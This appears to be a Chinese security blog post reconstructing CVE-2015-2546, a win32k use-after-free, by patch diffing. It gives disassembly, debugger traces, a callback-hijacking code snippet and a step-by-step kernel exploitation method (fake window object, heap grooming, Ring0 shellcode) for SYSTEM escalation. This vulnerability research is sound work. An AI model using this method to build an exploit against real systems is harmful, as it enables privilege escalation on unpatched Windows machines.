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2015年9月25日 | xteam
本月微软安全公告MS15-097修复了Microsoft Graphics组件中多个内核漏洞。其中Win32k内存损坏特权提升漏洞:CVE-2015-2546(https://technet.microsoft.com/zh ... urity/ms15-097.aspx)引起了笔者的注意。该漏洞是FireEye在9月8日发布的一份攻击报告(https://www.fireeye.com/content/ ... /twoforonefinal.pdf)中发现的,攻击者利用该漏洞可获得系统SYSTEM权限。 查看微软公告对该漏洞的描述:“如果 Windows 内核模式驱动程序不正确地处理内存中的对象,则 Windows 中存在多个特权提升漏洞。成功利用这些漏洞的攻击者可以在内核模式下运行任意代码。”没有太多有效信息,笔者遂尝试通过补丁比对来还原这个漏洞的细节。 CVE-2015-2546影响从win7 ~win10的众多windows版本。鉴于win7上win32k的符号比较齐全,笔者选择安装win7 sp1 32位系统的补丁进行比对。
PatchDiff2得到的结果:
分析到xxxMNMouseMove函数所做的更改:
补丁代码很直观,在xxxSendMessage调用完成之后多了一处检查。
研究过win32k内部机制可知:对于MenuWindow,tagWND+0xB0处存放的是其pPopupMenu的指针。因此这几句是检查回调之后tagMENUWND-> pPopupMenu是否被修改。
FireEye的报告中明确提到:CVE-2015-2546是一个tagPOPUPMENU对象的UAF。至此,笔者确定该漏洞的缺陷函数就是xxxMNMouseMove。 进一步分析xxxMNHideNextHierarchy函数之后,笔者得出整个漏洞的触发流程:在xxxMNMouseMove函数中,xxxSendMessage(pwnd, 0x1F0,…)发起了一次用户模式回调。在这次回调中,攻击者可以销毁Menu窗口从而释放tagPOPUPMENU对象并占位重用。当回调返回内核之后,补丁前的xxxMNmouseMove并没有对已释放的pPopupMenu进行验证。之后pPopupMenu被传入xxxMNHideNextHierarchy,xxxMNHideNextHierarchy会对tagPOPUPMENU.spwndNextPopup发送消息: .text:BF91C0AA __stdcall xxxMNHideNextHierarchy(x) proc near
.text:BF91C0AA ; CODE XREF: xxxMNButtonDown(x,x,x,x)+62p
.text:BF91C0AA ; xxxMNMouseMove(x,x,x)+18Ep
.text:BF91C0AA
.text:BF91C0AA ptl = dword ptr -0Ch
.text:BF91C0AA var_8 = dword ptr -8
.text:BF91C0AA pPopupMenu = dword ptr 8
.text:BF91C0AA
.text:BF91C0AA mov edi, edi
.text:BF91C0AC push ebp
.text:BF91C0AD mov ebp, esp
.text:BF91C0AF mov ecx, [ebp+pPopupMenu]
.text:BF91C0B2 sub esp, 0Ch
.text:BF91C0B5 push esi
.text:BF91C0B6 mov esi, [ecx+tagPOPUPMENU.spwndNextPopup]
.text:BF91C0B9 test esi, esi
.text:BF91C0BB jz short loc_BF91C104
.text:BF91C0BD mov eax, _gptiCurrent
.text:BF91C0C2 add eax, 0B4h ; pTL
.text:BF91C0C7 mov edx, [eax]
.text:BF91C0C9 mov [ebp+ptl], edx
.text:BF91C0CC lea edx, [ebp+ptl]
.text:BF91C0CF mov [eax], edx
.text:BF91C0D1 mov [ebp+var_8], esi
.text:BF91C0D4 inc [esi+tagWND.head.cLockObj]
.text:BF91C0D7 cmp esi, [ecx+tagPOPUPMENU.spwndActivePopup]
.text:BF91C0DA jz short loc_BF91C0EB
.text:BF91C0DC push 0 ; NumberOfBytes
.text:BF91C0DE push 0 ; MbString
.text:BF91C0E0 push 1E4h ; int
.text:BF91C0E5 push esi ; tagPOPUPMENU.spwndNextPopup
.text:BF91C0E6 call xxxSendMessage(x,x,x,x) 攻击者创建合适的对象占用被释放的tagPOPUPMENU内存,构造好tagPOPUPMENU.spwndNextPopup的数据,即可达成内核任意代码执行。 随后,笔者尝试构造POC来实现上述过程。
xxxMNMouseMove函数的工作原理:在PopupMenu的消息循环中,内核在消息队列中取到了WM_NCMOUSEMOVE消息;或者xxxMenuWindowProc收到了MN_MOUSEMOVE消息,win32k都会调用xxxMNMouseMove函数来进行处理。
因此
xxxTrackPopupMenuEx->xxxMNLoop->xxxHandleMenuMessage->xxxMNMouseMove
xxxMenuWindowProc->xxxRealMenuWindowProc->xxxMNMouseMove
xxxSysComman->xxxMNLoop->xxxHandleMenuMessage->xxxMNMouseMove
//…
等都是有可能的 该选择哪条路径呢?ba e1 win32k!xxxMNMouseMove探索一番
在桌面弹出右键菜单的时候:
0: kd> kb
ChildEBP RetAddr Args to Child
8d10ea8c 9036bbdb fe6c08e8 904557e0 0092002f win32k!xxxMNMouseMove
8d10eae8 9036b7b1 8d10eb08 904557e0 fe6c08e8 win32k!xxxHandleMenuMessages+0x2f2
8d10eb34 90371717 fe6c08e8 904557e0 00000000 win32k!xxxMNLoop+0x2fa
8d10eba0 90371802 fea19660 00000102 0000002f win32k!xxxTrackPopupMenuEx+0x5fd
8d10ec14 8288d1ea 001a01d3 00000102 0000002f win32k!NtUserTrackPopupMenuEx+0xc3
8d10ec14 76e370b4 001a01d3 00000102 0000002f nt!KiFastCallEntry+0x12a
0024e3ac 760e483e 760d2243 001a01d3 00000102 ntdll!KiFastSystemCallRet
0024e3b0 760d2243 001a01d3 00000102 0000002f USER32!NtUserTrackPopupMenuEx+0xc
0024e3d0 756272c9 001a01d3 00000102 0000002f USER32!TrackPopupMenu+0x1b 点击win32k窗口程序菜单:
0: kd> kb
ChildEBP RetAddr Args to Child
92e2fa50 90dabbdb 90e95860 90e957e0 00e900de win32k!xxxMNMouseMove
92e2faac 90dab7b1 92e2facc 90e957e0 90e95860 win32k!xxxHandleMenuMessages+0x2f2
92e2faf8 90dbdd69 90e95860 90e957e0 00e900de win32k!xxxMNLoop+0x2fa
92e2fb28 90d1fcc5 fea0f2b0 0000f095 00e900de win32k!xxxSysCommand+0x4a5
92e2fba4 90d2d417 fea0f2b0 00000112 0000f095 win32k!xxxRealDefWindowProc+0xc00
92e2fbbc 90cf8117 fea0f2b0 00000112 0000f095 win32k!xxxWrapRealDefWindowProc+0x2b
92e2fbd8 90d2d2d3 fea0f2b0 00000112 0000f095 win32k!NtUserfnDWORD+0x27
92e2fc10 828551ea 00030152 00000112 0000f095 win32k!NtUserMessageCall+0xcf
看来执行到xxxMNMouseMove并不困难,但是笔者发现要执行到xxxSendMessage(pWnd, 0x1F0)就不容易了:
仔细分析xxxMNMouseMove函数代码
.text:BF93CDC6 loc_BF93CDC6: ; CODE XREF: xxxMNMouseMove(x,x,x)+12Dj
.text:BF93CDC6 ; xxxMNMouseMove(x,x,x)+135j …
.text:BF93CDC6 xor edi, edi
.text:BF93CDC8 push edi ; NumberOfBytes
.text:BF93CDC9 push [ebp+pPopupMenu] ; MbString
.text:BF93CDCC push 1E5h ; int
.text:BF93CDD1 push esi ; Address
.text:BF93CDD2 call xxxSendMessage(x,x,x,x)
.text:BF93CDD7 test al, 10h
.text:BF93CDD9 jz short loc_BF93CE32
.text:BF93CDDB test al, 3
.text:BF93CDDD jnz short loc_BF93CE32
.text:BF93CDDF push edi ; NumberOfBytes
.text:BF93CDE0 push edi ; MbString
.text:BF93CDE1 push MN_SETTIMERTOOPENHIERARCHY ; int
.text:BF93CDE6 push esi ; spwndPopupMenu
.text:BF93CDE7 call xxxSendMessage(x,x,x,x) ; CallBack
.text:BF93CDEC test eax, eax
.text:BF93CDEE jnz short loc_BF93CE32
.text:BF93CDF0 push ebx ; fake_tagPopupMenu
.text:BF93CDF1 call xxxMNHideNextHierarchy(x) ; Trigger esi必须是一个窗口对象,而ebx必须是我们可以占位重用的PopupMenu
先看ebx的值从哪儿来:
.text:BF93CD67 mov eax, _gptiCurrent
.text:BF93CD6C add eax, 0B4h
.text:BF93CD71 mov ecx, [eax]
.text:BF93CD73 mov [ebp+var_C], ecx
.text:BF93CD76 lea ecx, [ebp+var_C]
.text:BF93CD79 mov [eax], ecx
.text:BF93CD7B mov [ebp+var_8], esi
.text:BF93CD7E inc dword ptr [esi+4]
.text:BF93CD81 mov edi, [edi+4]
.text:BF93CD84 mov ebx, [ebx+0B0h] //sizeof(tagWND) = 0xac
.text:BF93CD8A test edi, 100h
.text:BF93CD90 jz short loc_BF93CDC6 0xB0刚好等于sizeof(tagWND) + 0x4,而ebx又是一个tagPOPUPMENU对象,那么在BF93CD84这句之前,ebx必须是一个MenuWnd! 再向前查看代码:
.text:BF93CD49 push esi
.text:BF93CD4A call safe_cast_fnid_to_PMENUWND(x)
.text:BF93CD4F push esi
.text:BF93CD50 mov ebx, eax
.text:BF93CD52 call IsWindowBeingDestroyed(x)
.text:BF93CD57 test eax, eax
.text:BF93CD59 jnz loc_BF93CE41
.text:BF93CD5F test ebx, ebx ; tagMENUWND
.text:BF93CD61 jz loc_BF93CE41 IsWindowBeingDestroyed只是检查esi指向的pWnd状态,ebx的值来自于safe_cast_fnid_to_PMENUWND。
查看safe_cast_fnid_to_PMENUWND函数,只是检查pWnd->fnid,合适就将传入的pWnd指针原封返回。 继续追踪esi的来源,终于发现esi指向的窗口对象来自这里:
.text:BF93CCA1 push esi
.text:BF93CCA2 mov [edi+0Ch], eax
.text:BF93CCA5 push ecx ; screenPt
.text:BF93CCA6 lea eax, [ebp+pPopupMenu]
.text:BF93CCA9 push eax ; pIndex
.text:BF93CCAA push ebx ; pPopupMenu
.text:BF93CCAB call xxxMNFindWindowFromPoint(x,x,x) //得到MenuWnd指针
.text:BF93CCB0 mov esi, eax
.text:BF93CCB2 push esi
.text:BF93CCB3 call IsMFMWFPWindow(x) 然而笔者多次调试,发现这一步得到的返回值总是NULL:
1: kd> p
win32k!xxxMNMouseMove+0x4d:
90dabfc7 8bf0 mov esi,eax
1: kd> r eax
eax=00000000
冷静分析xxxMNFindWindowFromPoint函数,该函数实际上是根据当前鼠标的位置返回其指向的菜单窗口。然而,如果传入的pPopupMenu->fIsMenuBar为1,该函数返回的只能是0或0xFFFFFFFB,0xFFFFFFFF几个固定值。 查看一下我们传入的pPopupMenu:
1: kd> dt tagPOPUPMENU 90e95860
win32k!tagPOPUPMENU
+0x000 fIsMenuBar : 0y1
+0x000 fHasMenuBar : 0y1
+0x000 fIsSysMenu : 0y0
//…
+0x000 flockDelayedFree : 0y0
+0x004 spwndNotify : 0xfea0f2b0 tagWND
+0x008 spwndPopupMenu : 0xfea0f2b0 tagWND 这里的tagPOPUPMENU对象一直是内核自动创建的,fIsMenuBar这个字段初始化时就被置为1。 不过笔者发现如果pPopupMenu->spwndNextPopup不为NULL,xxxMNFindWindowFromPoint会向这个窗口发送MN_FINDMENUWINDOWFROMPOINT消息:
.text:BF93CE9E push eax ; NumberOfBytes
.text:BF93CE9F lea eax, [ebp+pPopupMenu]
.text:BF93CEA2 push eax ; MbString
.text:BF93CEA3 push MN_FINDMENUWINDOWFROMPOINT ; int
.text:BF93CEA8 push dword ptr [edi+0Ch] ; Address
.text:BF93CEAB call xxxSendMessage(x,x,x,x) 于是笔者想到可以通过消息钩子来控制这一步的返回值! 笔者编译了一个包含两级菜单的文档视图窗口程序,并且在消息钩子函数中替换了菜单窗口的默认WndProc:
LRESULT CALLBACK MyWndProc(HWND hWnd, UINT Msg, WPARAM wParam, LPARAM lParam)
{
if (Msg == 0x1EB)
{
// __asm int 3;
return (LONG)g_hMenuWnd;
}
return DefWindowProc(hWnd, Msg, wParam, lParam);
} 这样xxxMNFindWindowFromPoint返回的就是我们事先创建的MenuWindow对象了。 1: kd> g
Breakpoint 1 hit
win32k!xxxMNMouseMove+0x48:
90dabfc2 e8a8010000 call win32k!xxxMNFindWindowFromPoint (90dac16f)
1: kd> r eax
eax=fe40f788 //pWnd 1: kd> dd fe40f788 + b0 l1
fe40f838 fe3e3588 //tagPOPUPMENU 1: kd> dt fe3e3588 tagPOPUPMENU
win32k!tagPOPUPMENU
+0x000 fIsMenuBar : 0y0
+0x000 fHasMenuBar : 0y0
+0x000 fIsSysMenu : 0y0
//…
+0x004 spwndNotify : (null)
+0x008 spwndPopupMenu : 0xfe40f788 指向PopupMenu所属的tagWND对象
+0x00c spwndNextPopup : (null)
+0x010 spwndPrevPopup : (null) 后面执行到
这里xxxSendMessage(pWnd, 0x1E5, …)的返回值还得控制一下,否则一直返回0。
在MenuWindow的窗口函数中处理0x1E5消息:
if (Msg == 0x1E5) //MN_SELECTITEM
{
//控制返回值
return 0x10;
}
终于能执行到xxxMNHideNextHierarchy了:
最后,笔者还原出CVE-2015-2546的利用过程如下:
1. 创建一个有弹出式菜单的正常主窗口
2. 在某个固定地址Addr1分配内存,并在Addr1上构造一个fake_tag WND。其中fake_tagWND->bServerSideWindowProc置为1,fake_tagWND->lpfnWndProc指向Ring0ShellCode。
3. 用Accelerator Table对象制作出内存空洞。
4. 创建类名为”#32768”的窗口MenuWindow1,并用SetWindowLong替换其WndProc。
5. 创建消息钩子,并在HookProc中处理MN_FINDWINDOWFROMPOINT消息和MN_SETTIMERTOOPENHIERARCHY消息。
6. 向主窗口发送WM_SYSCOMMAND消息或者模拟鼠标事件。
7. 系统创建的正常菜单窗口收到MN_FINDWINDOWFROMPOINT消息,返回MenuWindow1的句柄。
8. HookProc收到MN_SETTIMERTOOPENHIERARCHY消息,销毁MenuWindow1,并创建Accelerator Table对象占用tagPOPUPMENU释放的内存。
9. Fake_tagWND收到0x1E4消息,执行Ring0ShellCode。 触发提权ShellCode:
利用成功截图
PS:其实这个漏洞并不一定非得用Accelerator Table占位,有更好的对象适合用来控制占位数据。攻击者使用Accelerator Table反而导致需要分配零页内存:最终执行到xxxSendMessageTimeOut时,fakePopupMenu->spwndNextPopup正是占位的tagACCELTABLE.cAccel的值。如果选择其他对象进行占位,完全可以在更高平台利用这个漏洞。
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